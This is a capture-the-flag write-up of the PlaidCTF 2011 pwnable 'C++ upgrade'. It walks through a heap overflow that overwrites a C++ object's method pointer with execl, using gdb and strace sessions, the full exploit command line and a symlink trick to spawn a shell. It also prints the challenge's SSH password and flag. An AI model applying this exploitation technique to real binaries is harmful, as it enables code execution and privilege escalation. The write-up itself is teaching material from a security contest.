PlaidCTF 2011 #20 – C++ upgrade (300)

Category: pwnables

They have an update for the vulnerable C++ program trying to fix the bug.
However, the coders at AED suck and introduced another stupid mistake.

Get a shell (and the key, too.)

ssh username@a5.amalgamated.biz
Username: cpp2_1
Password: zKQaKrdFPSsT6j03XSt31NaT0H

Summary: tricky overflow class’ method and exec’ing symlinks

binary

This task is not so easy and needs some reversing. Here’s it’s code:

int main(int argc, int argv)
{
  // ... vars
  if ( argc <= 4 )
    sub_8048824(*(_DWORD *)argv);
  obj1_ = operator new(&argc, a2);
  init_obj1(obj1_);
  obj1 = obj1_;
  obj2 = operator new(v8, v7);
  init_obj2(obj2);
  argv2atoi = atoi(*(const char **)(argv + 8)); // argv[2]
  argv3atoi = atoi(*(const char **)(argv + 12));// argv[3]
  process_obj1(obj1, argv2atoi, *(_DWORD *)(argv + 4));// argv[1]
  if ( argv3atoi & 1 )
    process_obj2(obj2, *(const char **)(*(_DWORD *)(v12 + 4) + 16));
  return 0;
}

int process_obj1(int obj1, int a2, int a3)
{
  sprintf((char *)(obj1 + 4), "Uploading... [%s]: %d pts\n", a3, a2);
  memcpy(s, (const void *)(obj1 + 4), 50u);
  (**(void (__cdecl ***)(_DWORD, _DWORD))obj1)(obj1, s);
  return sub_804897C();
}

void process_obj2(int obj2, const char *src)
{
  strcpy((char *)(obj2 + 4), src);
  (**(void (__cdecl ***)(int, const char *))obj2)(obj2, src);
  sub_8048ADE(obj2);
}

In the C++5x string “Uploading… [blabla]” was sprintfed at the local function variable, and this allowed us to overwrite object’s pointer. Here it’s printed into the objects space, which is in the heap. But there’s also the second object – it is created just after the first, and is situated right after it. We can overwrite the second object’s method pointer (it’s the first dword of object structure). Let’s count size of buffer needed:

cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
'print "ABCD";'`" 1 1 1
...
Breakpoint 1, 0x08048bf2 in ?? ()
(gdb) x/20xw $eax-64
0x92c4008:    0x08048da8    0x6f6c7055    0x6e696461    0x2e2e2e67
0x92c4018:    0x42415b20    0x3a5d4443    0x70203120    0x000a7374
0x92c4028:    0x00000000    0x00000000    0x00000000    0x00000000
0x92c4038:    0x00000000    0x00000000    0x00000000    0x00000019
0x92c4048:    0x08048dd0    0x00000031    0x00000000    0x00000000
(gdb) p/d 0x92c4048-0x92c401a
$3 = 46

So, 46 bytes and the pointer. What is passed to the called function?

cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
'print "AAAABBBB" . "X"x38 . "CCCC";'`" 1 1 1
Breakpoint 1, 0x08048bf2 in ?? ()
(gdb) x/10i $eip
0x8048bf2:    mov    (%eax),%eax
0x8048bf4:    mov    (%eax),%edx
0x8048bf6:    mov    0xc(%ebp),%eax
0x8048bf9:    mov    %eax,0x4(%esp)
0x8048bfd:    mov    0x8(%ebp),%eax
0x8048c00:    mov    %eax,(%esp)
0x8048c03:    call   *%edx

(gdb) x/4xw $eax
0x97c0048:    0x43434343    0x31200031    0x73747020    0x0000000a

(gdb) ni
0x08048bf4 in ?? ()

(gdb) set $eax=0x97c0048

(gdb) ni
0x08048bf6 in ?? ()

(gdb) p/x $edx
$1 = 0x43434343

...

(gdb) ni
0x08048c03 in ?? ()
(gdb) x/20xw $esp
0xbf8c0bd0:    0x097c0048    0xbf8c1e88    0xbf8c0c08    0x08048919
0xbf8c0be0:    0x097c0048    0xbf8c1e88    0xbf8c1e51    0xbf8c0c20
0xbf8c0bf0:    0x097c0008    0x097c0048    0x00000001    0x00000001

Looks like all arguments are valid poninters. execl will be good here, but 0x00000001 must be NULL then. What if it’s one of that three arguments?

cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
'print "AAAABBBB" . "X"x38 . "CCCC";'`" 0 1 1
(gdb) x/20xw $esp
0xbff5e9e0:    0x0818d048    0xbff5fe88    0xbff5ea18    0x08048919
0xbff5e9f0:    0x0818d048    0xbff5fe88    0xbff5fe51    0xbff5ea30
0xbff5ea00:    0x0818d008    0x0818d048    0x00000000    0x00000001

Yeah! Great! execl is good choice here. Now we have to find a place for a pointer. Like in C++5x, it is in .bss, where the string “Uploading… [” + buffer is printed:

.bss:080491A0 s

Our data is at 080491A0 + 14 = 080491AE.

Let’s look what is executed:

cpp2_1@a5:~$ ulimit -s unlimited  # disable libc ASLR
cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e
'print "ABCD";'`" 0 1 1
...
(gdb) r
...
(gdb) p/x &execl
$1 = 0x401f6b60
^C
cpp2_1@a5:~$ strace /opt/pctf/cpp2/second_cpp "`perl -e
'print "\x60\x6b\x1f\x40" . "X"x42 . "\xae\x91\x04\x08";'`" 0 1 1
...
execve("\256\221\4\0101", ["1", "\30...
...

Ok, time to win:

cpp2_1@a5:~$ export PATH=".:$PATH"
cpp2_1@a5:~$ cat >wrap.sh
#!/bin/sh
/bin/sh
cpp2_1@a5:~$ chmod +x wrap.sh
cpp2_1@a5:~$ ln -s wrap.sh $'\256\221\4\0101'
cpp2_1@a5:~$ /opt/pctf/cpp2/second_cpp "`perl -e 'print
"\x60\x6b\x1f\x40" . "X"x42 . "\xae\x91\x04\x08";'`" 0 1 1
Uploading... [`k@XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXJob is done!
Your Awesomeness point uploaded!
$ id
uid=4000(cpp2_1) gid=4000(cpp2users) egid=4001(cpp2key)
groups=4000(cpp2users)
$ cat /opt/pctf/cpp2/key
It_Wasn7_th4t_DifffficuLt_VVas_1t?

The flag: It_Wasn7_th4t_DifffficuLt_VVas_1t?

Leave a Reply

Your email address will not be published.